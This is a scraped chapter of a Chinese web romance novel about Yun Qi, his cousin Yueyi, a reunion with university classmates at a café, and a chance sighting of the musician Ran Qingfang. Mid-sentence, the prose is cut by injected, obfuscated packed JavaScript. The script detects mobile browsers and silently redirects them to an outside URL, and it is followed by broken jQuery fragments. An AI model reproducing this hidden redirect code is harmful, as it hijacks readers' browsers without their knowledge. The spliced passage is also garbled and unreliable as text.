默认冷灰
24号文字
方正启体

7. Chapter 6:云起时

作者:棋声惊眠本书字数:K更新时间:
    蔺云起的微信名简洁且有个人特色,就叫“云起时”。


    蔺月仪总是笑话他:“没有五十岁的阅历,取不出你这样的微信名。你怎么不叫‘天高任鸟飞’,或者‘珍惜这段缘’呢?”


    她说得没错,蔺云起的微信名和她的比起来,确实老气横秋。他每次在微信上看见她的ID都觉得挺可乐的。


    月月舒:何时?


    云起时:晚上八点。


    月月舒:接我吗?


    云起时:行,地址发我。


    十秒钟后。


    月月舒:完了,我妈刚传来消息,罗绮丽今天不去跳广场舞。


    云起时:那不去了?


    月月舒:嗯,不想去。


    云起时:行,改天吧。


    又过了十秒。


    月月舒:你知道吗?


    月月舒:这个罗绮丽吃饱了撑的,竟然妄图给我说媒。


    月月舒:一个吴冰冰还不够,她是想搞什么病房相亲角吗,也太神经了吧。


    月月舒:害得我俩想看爷爷都不能随时去,真烦人。


    月月舒:其实我觉得吴冰冰也挺无辜的,只是她妈妈太烦人了。


    月月舒:你人呢?


    云起时:是挺无辜。


    月月舒:你还挺善良,那你介意跟她结婚吗?罗绮丽都拿爷爷的健康威胁了,看这形势,我俩必须牺牲一个才好收场啊。


    云起时:大清已经亡了一百多年了。


    蔺云起靠坐在草地边的长椅上,表情平淡,像在浏览新闻资讯。


    蔺月仪想找他蹭饭,他表示自己正在陪大学同学逛校园,得晚一点。


    蔺月仪调侃道:哟,老男孩追忆青春呢?


    蔺云起有两拨本科同学。一部分是少年班的同学,另一部分是分专业后一起上课的同学。这次聚会的是后者。


    同学们都比他大几岁,多半已结婚生子,几个夫人带着孩子在草坪上排列组合地拍照,还撺掇着男士们合影留念。盛情难却,蔺云起好几次被他们扯过去当背景。


    等逛得差不多了,就有人提议找间茶室,坐下来聊聊天。有人掏出手机搜索,发现一公里处有家咖啡厅评分相当高。她老公一看定位:“这不是我们以前宿舍那片的后山吗?”


    于是步行过去,一路都是上坡,众人走得慢,看见宿舍楼群前面林立的梧桐树,大家纷纷忆苦思甜。


    “班长,你当年可是嫂子楼下的一枚门神哪!就那儿,我每天早上去食堂,都能瞧见你和你的自行车停在门口,车把上挂着早饭,跟流动小吃车似的。”发言的这位同学,是他们班最能搞事情的八卦达人郭思齐。


    班长路皓涵摆出一副羞涩的表情:“唉,当年也没什么特长,就是早上六点能起床,要不怎么追得上你嫂子自律的步伐呢。”


    他夫人梁晓敏挺着肚子走在后面,这时一脸震惊地说:“你以为是我每天要早起?我那不是配合你吗?你不送早饭我能睡到中午好吗?”


    众人哈哈大笑。


    他俩是班对,一毕业就结了婚。那时候除了他俩,班上还有一对璧人,当年也一度名声在外。这么多年过去,老同学们默契不提,只有郭思齐胆子大,当面调侃道:“我说云哥,刚才大家催婚半天你都不接茬,莫非是心里还有放不下的人?”


    蔺云起料到他不会放过自己,只是笑了笑,挪开视线不作正面回答。


    郭思齐的老婆开口:“我听我老公说,蔺同学当年是系草呀?”


    梁晓敏说:“我们没有官方选举过什么系草吧,老郭你都怎么跟人形容的?”


    “这不是大家公认的嘛,系草和系花,咱们班集齐了。”郭思齐嬉皮笑脸道。


    有人看向蔺云起,八卦的目光难以掩藏。


    蔺云起还是一副疏阔的模样,笑容里的客气恰到好处,看上去像是个开得起玩笑的人。


    班长适时打起圆场:“什么啊?系花不是我老婆吗?”


    梁晓敏笑着打他:“我要是系花,你还能追得上我?”


    路皓涵夸张地说:“在我心中,你就是太阳系的系花!”


    梁晓敏:“再说报警啦!”


    正开着玩笑,前面就是“落音”咖啡屋了。


    小朋友们跑得快,注意力被一阵奇妙的声音所吸引。门口的草地上散落着小茶几和露营椅,边上立着几樽姿态各异的白鹤雕塑。两个女生坐在白鹤的翅膀之下,摆弄着一个黑乎乎的圆盘型乐器。


    之所以知道那是乐器,是因为女生的手掌轻轻击打在凸起的圆盘上,发出了空灵渺远的声音。


    那两个玩手碟的女生风格迥异,一个身穿波西米亚风长裙,身上挂满了佩饰。另一个则是日系极简主义,象牙色的亚麻无袖衫配浅棕色五分裤,黑色长发在脑后束了一个松松的髻。


    原来冉晴方不止会弹吉他。


    好像只要是跟音乐有关的事,她就十分有耐心,专注度也很高。而坐在观众席的时候,却又低头玩手机了。


    小朋友们围着她俩蹦蹦跳跳,其中一个小男孩想伸手摸摸那奇形怪状的手碟。冉晴方冲他笑:“我给你表演个小星星吧。”


    “好!”


    冉晴方信手敲击,那乐器果然奏出灵动悠长的旋律,小朋友也跟着激动起来,忍不住往乐器上扑。小男孩的妈妈眼疾手快地将孩子捞了回来,厉声斥道:“不可以乱踢!”


    小男孩原本笑嘻嘻的,被妈妈拎着胳膊按着后脑勺,一时神情惶然。


    “快给阿姨道歉。”


    小男孩奶声奶气地说:“阿姨,对不起。”


    乐器的主人摆摆手,一直说没事。班长路皓涵便招呼大伙进门。


    蔺云起已经站在咖啡屋门口了,耳畔传来身后两个女生的对话。


    “他叫我阿姨诶!”


    另一个声音清泠泠的,十分好听:“慢慢习惯吧,以后叫阿姨的只会越来越多。”


    “不是,我自己都还是个宝宝。”


    “没事,他叫我呢,我再替他传递给宝宝。”


    蔺云起嘴角带笑,伸手推开了咖啡屋的大门。


    *


    咖啡屋里划分了不同的区域,铁质书架的背后是一张长方形的原木桌,老同学们正好围坐成一圈。蔺云起从吧台买完单回来,几个夫人正在集体围攻他的室友李桁,要给人家介绍对象。


    李桁连连摆着手:“我觉得一个人挺好的,现在没什么心思找对象,”见蔺云起落了座,李桁像找到盟友一般,立刻将他拉下水


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481514|201769||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :“你不信问云哥嘛,咱们到这个岁数了,这条件,也不愁找不到是不是?主要是嫌麻烦……”


    郭思齐在一旁拆台:“云哥是不愁,人家待在高校里头,最不缺的就是年轻小姑娘了。”


    蔺云起听到这里,必须出声阻止了:“老郭别开玩笑了。”


    梁晓敏也批评郭思齐:“什么年轻小姑娘,你乱说啥呢?”


    “就是,我们云哥是正经人。”李桁跟着说。


    郭思齐嬉笑着拍了拍蔺云起的肩膀:“别往心里去啊云哥,我瞎说的……”


    他夫人跟着转移话题:“蔺同学条件这么好,怎么到现在还单身呢?你介意相亲吗?”


    李桁笑道:“弟妹,这你就不知道了吧,想给我们云哥当红娘的人,排队也排到日本去了。”


    这又启发了郭思齐:“对哦,云哥你前女友就是日本人吧?日本女孩和中国女孩有什么不一样?”


    长桌之上安静了好几秒钟。


    蔺云起没有接他的话。


    梁晓敏皱了皱眉,将手机扔到桌上,对自己老公说:“你给我倒杯水去,我胃难受,有点恶心。”


    众人的注意力转移到她身上,几个夫人顺势聊起了母婴话题。


    蔺云起坐在边上,再也没有开口。过了好一会儿,他搁在桌上的手机振动起来,他才起身对众人说:“我出去接个电话。”


    郭思齐仰头冲他笑,他没搭理。


    来电之人是罗绮丽。


    蔺云起单手插兜,绕着后院转了几圈。电话那头的人一直在说话,不给他插空的机会。到后来他已经走神了,开始观察起那圈低矮的彩色篱笆,西南方向上开了一扇小竹门,蜿蜒的小路往杉树林里延伸过去。他真想顺着羊肠小道扬长而去。


    最后罗绮丽追问了他两次,他才回过神,只说:“罗老师,以后不用再安排这些了,我没时间。”


    想了想,又补充一句:“月仪也是。”


    他回去和几个老同学打了声招呼,说自己有事要先走。班长留他不住,只得说改天约他吃饭。


    在咖啡屋门口,他拨通了蔺月仪的电话:“你在哪?我这边结束了。”


    “现在去吃饭吗?”她没料到这么快。


    “嗯,想吃什么?”


    蔺月仪说最近上火,要吃点清淡的。她还在做头发,让他不着急,慢慢开车过去。


    她这小性子一贯如此,没有她等人,只有人等她的。


    蔺云起将手机收回兜里。离开是临时起意,走之前连口茶也没喝,这会儿才感到口渴。


    他不是热衷社交的人,今日陪着老同学逛了大半天,实在太消耗能量,到最后耐性见了底,才不愿同郭思齐虚与委蛇。


    蔺云起的视线随意落在一旁的小圆桌,上面掉落了一枚小小的卡其色发圈。


    刚才离开前路过吧台,他看见冉晴方背着吉他站在那儿,像是要走了,她一边同人说话,一边伸手顺着头发,漆黑柔顺的一片,像瀑布一样。


    去年见面时,她的头发还没有长过腰际。他不会记错。


    蔺云起靠在那樽白鹤雕塑旁,一时不想动身离开。


    若是她一会儿就出来,他倒可以提醒她,问问这发圈是不是她落下的。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)